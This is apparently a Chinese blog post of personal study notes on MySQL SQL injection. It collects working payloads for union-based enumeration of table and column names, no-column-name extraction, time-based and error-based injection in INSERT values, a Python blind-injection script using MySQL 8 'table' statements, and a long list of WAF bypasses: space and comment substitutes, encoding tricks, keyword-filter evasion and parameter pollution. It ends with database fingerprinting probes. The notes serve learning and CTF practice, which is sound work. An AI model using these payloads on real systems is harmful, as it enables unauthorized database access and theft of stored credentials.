SELECT digest_text FROM `performance_schema`.`events_statements_summary_by_digest` WHERE digest_text REGEXP DATABASE();
#包含表文件路径的表
SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();

image-20220707221836224
image-20220707221836224

上诉表格中虽然有能够查列名的表,但是查出来的数据都不全,当知道flag所在的库和表名时,但无法获取到列名,就需要利用无列名盲注了

join无列名注入 payload

join … using(xx)

查表名

1
2
3
4
5
6
'
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
'
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
'
?id=-1' union select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()--+

Union all 与union 的区别是增加了去重的功能

查列名(适用于逗号被过滤)

1
2
3
4
5
6
7
8
9
10
# union select 重命名法
select c from (select 1 as a, 1 as b, 1 as c union select * from test)x limit 1 offset 1;
#无逗号,有join版本
select a from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from test)x;
'
?id=-1' union all select*from (select * from users as a join users b)c--+
# 获取第一列的列名
'
?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+
# 获取次列及后续列名

union select重命名法

不获取列名情况下查列,以查第二列为例

1
2
3
4
select group_concat(b) from (select 1,2 as b,3 union select * from users)a;
# 也可以查多个列
select concat(`2`,0x2d,`3`) from (select 1,2,3 union select * from admin)a limit 1,3;
# 0x2d会转换成字符'-'

这里将第二列取别名为b(如果反引号`没被过滤,可以不取别名,直接用⬇️)

1
select `2` from ……

结尾的a可以替换成任意字符,这是用来命名的

原理是联合查询时列名显示的是前一个select的结果,这里第一个select是select 1,2 as b,3 将列名重命名为1 b 3,然后再将这个新表命名为a,再进行查询

select被过滤

基于mysql8特性的sql注入 - FreeBuf网络安全行业门户

mysql 8.0.19新增语句table

1
table users; === select * from users;

table不能加where子句,不允许行过滤,显示所有列,但可以用来盲注表名

table盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#-*- coding:utf-8 -*-
#orio1e
import requests
def str2hex(str):
result='0x'
for i in str:
result+=hex(ord(i))[2:]
return result
dic=['0','1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z',] # 字典
result=''
for i in range(1,35):
for j in range(len(dic)):
print(dic[j])
url="http://127.0.0.1:8010"
#第一个字段
#结果:1
payload={"username":"asd\\","password":"||({},0x21,0x21)<(table/**/admin_user/**/limit/**/1)#".format(str2hex(result+dic[j]))}
#爆第二个字段
#结果:guest
payload={"username":"asd\\","password":"||(0x31,{},0x21)<(table/**/admin_user/**/limit/**/1)#".format(str2hex(result+dic[j]))}
#爆第三个字段
#结果:123456
#因为最后一个字符完成后长度相等又判断为假 所以最后一个字符应为其下一个字母
#但是这仅限最后一个字段
#所以正确结果是we1c0mehacker
payload={"username":"asd\\","password":"||(0x31,0x61646d696e,{})<(table/**/users/**/limit/**/1)#".format(str2hex(result+dic[j]))}

res=requests.post(url=url,data=payload)
print(payload)
print(res.text[-20:])
if "emmmmm" in res.text:
continue
elif "no" in res.text:
#返回假时表示上一个字母即为正确结果
result+=dic[j-1]
break

print(result)

注意往前回溯

mysql比较,从第一个字符还是比较ascii的大小,一次往后 ,并且多列的比较时从第一列的第一位开始的

mysql中对char型大小写是不敏感的,盲注的时候要么可以使用hex或者binary。

values注入

1
2
3
4
insert into `test`.`log`(`log`) VALUES('$log');
insert into `test`.`log`(`log`) VALUES('testsetset'or sleep(5)) # ');
insert into `test`.`log`(`log`) VALUES('testsetset' and extractvalue(1,concat(0x7e,(select @@version),0x7e))) # ')
insert into `test`.`log`(`log`) VALUES('1'+if((1=1),sleep(2),1)) # ')

可以利用联合注入代替order by

image-20220707223820177
image-20220707223820177

WAF绕过–服务器解析漏洞

index.php?id=1&id=2

apache(php)解析最后一个参数,即显示id=2 的内容。Tomcat(jsp)解析第一个参数,即显示id=1 的内容。

我们往往在tomcat 服务器处做数据过滤和处理,功能类似为一个WAF,因此可以传入第一个为合法参数,第二个采用注入

image-20220708192908674
image-20220708192908674

空格被过滤

1
2
3
4
5
6
7
8
/**/替代空格
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
() 代替空格,在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。

%a0是一个不成汉字的中文字符,因此正则匹配时不会当空格过滤,而进入sql语句后,mysql不认中文字符,当空格处理

过滤单引号

转义符号及注释没被过滤时,将username闭合的单引号转义,在password的输入中插入布尔盲注语句

1
2
3
username=admin\
password=or 2>1#
select * from users where username='admin\' and password=' or 2>1#';

多种注释符

1
2
3
4
5
6
7
8
9
10
//
--%20
/**/
#
--+
-- -
%00
;
;%00
;\x00

过滤关键字

  • 大小写绕过

  • 双写绕过(主要用于源码中使用replace替换黑名单)

  • 编码绕过

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    or 1=1%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

    十六进制编码

    SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

    双重编码绕过

    ?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

    一些unicode编码举例:
    单引号:'
    %u0027 %u02b9 %u02bc
    %u02c8 %u2032
    %uff07 %c0%27
    %c0%a7 %e0%80%a7
    空白:
    %u0020 %uff00
    %c0%20 %c0%a0 %e0%80%a0
    左括号(:
    %u0028 %uff08
    %c0%28 %c0%a8
    %e0%80%a8
    右括号):
    %u0029 %uff09
    %c0%29 %c0%a9
    %e0%80%a9
  • like绕过

    1
    2
    '?id=1' or 1 like 1#
    可绕过对= >等过滤
  • in绕过

    1
    or '1' in ('1234')#

    in可以代替’=’,只有两个字符串一模一样时才返回true,注意括号不能漏,否则报错

  • 过滤union

    1
    2
    waf= 'and|or|union'
    绕过方式 1&& (select user from users where userid)='admin'
  • 过滤where

    1
    2
    waf = 'and|or|union|where'
    绕过方式 1 && (select user from users limit 1) = 'admin'
  • 过滤limit

    1
    2
    waf = 'and|or|union|where|limit'
    绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1user为admim
  • 过滤group by

    1
    2
    waf = 'and|or|union|where|limit|group by'
    绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
  • 过滤select

    1
    2
    3
    waf = 'and|or|union|where|limit|group by|select'
    只能查询本表中的数据
    绕过方式 1 && substr(user,1,1) = 'a'

    mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

  • 过滤’(单引号)

    1
    2
    3
    waf = 'and|or|union|where|limit|group by|select|\''
    过滤代码 1 && substr(user,1,1) = 'a'
    绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)
  • 过滤hex

    1
    2
    3
    waf = 'and|or|union|where|limit|group by|select|\'|hex'
    过滤代码 1 && substr(user,1,1) = unhex(61)
    绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
  • 过滤substr

    1
    2
    3
    waf = 'and|or|union|where|limit|group by|select|\'|hex|substr'
    过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16))
    绕过方式 1 && lpad(user(),1,1) in 'r'
  • 过滤逗号

    1
    2
    3
    4
    5
    6
    7
    //过滤了逗号怎么办?就不能多个参数了吗?
    SELECT SUBSTR('2018-08-17',6,5);与SELECT SUBSTR('2018-08-17' FROM 6 FOR 5);
    意思相同
    substr支持这样的语法:
    SUBSTRING(str FROM pos FOR len)
    SUBSTRING(str FROM pos)
    MID()后续加入了这种写法

等价函数或变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

反引号绕过

1
select `version()`  可以用来过空格和正则,特殊情况下还可以当作注释符用

判断数据库类型

前端与数据库类型

asp:SQL Server,Access
.net:SQL Server
php:MySQL,PostgreSQL
java:Oracle,MySQL

根据特有函数判断

len和length

len():SQL Server 、MySQL以及db2返回长度的函数。
length():Oracle和INFORMIX返回长度的函数。

version和@@version

version():MySQL查询版本信息的函数
@@version:MySQL和SQL Server查询版本信息的函数

substring和substr

MySQL两个函数都可以使用
Oracle只可调用substr
SQL Server只可调用substring

根据特殊符号进行判断

/*是MySQL数据库的注释符
–是Oracle和SQL Server支持的注释符
;是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库
#是MySQL中的注释符,返回错误则说明可能不是MySQL,另外MySQL也支持– 和/**/

根据数据库对字符串的处理方式判断

MySQL
http://127.0.0.1/test.php?id=1 and ‘a’+’b’=’ab’
http://127.0.0.1/test.php?id=1 and CONCAT(‘a’,’b’)=’ab’
Oracle
http://127.0.0.1/test.php?id=1 and ‘a’||’b’=’ab’
http://127.0.0.1/test.php?id=1 and CONCAT(‘a’,’b’)=’ab’
SQL Server
http://127.0.0.1/test.php?id=1 and ‘a’+’b’=’ab’

根据数据库特有的数据表来判断

MySQL(version>5.0)

1
http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1

Oracle

1
http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1

SQL Server

1
http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1

根据盲注特别函数判断

MySQL

1
2
BENCHMARK(1000000,ENCODE('QWE','ASD'))
SLEEP(5)

PostgreSQL

1
2
PG_SLEEP(5)
GENERATE_SERIES(1,1000000)

SQL Server

1
WAITFOR DELAY '0:0:5'

⚠️待补充 珂技系列之一篇就够了——mysql注入 - FreeBuf网络安全行业门户

[对MYSQL注入相关内容及部分Trick的归类小结 - 先知社区 (aliyun.com)](

  • 标题: sql注入学习
  • 作者: Sl0th
  • 创建于 : 2022-01-23 22:20:06
  • 更新于 : 2024-11-11 18:23:06
  • 链接: http://sl0th.top/2022/01/23/sql注入学习/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论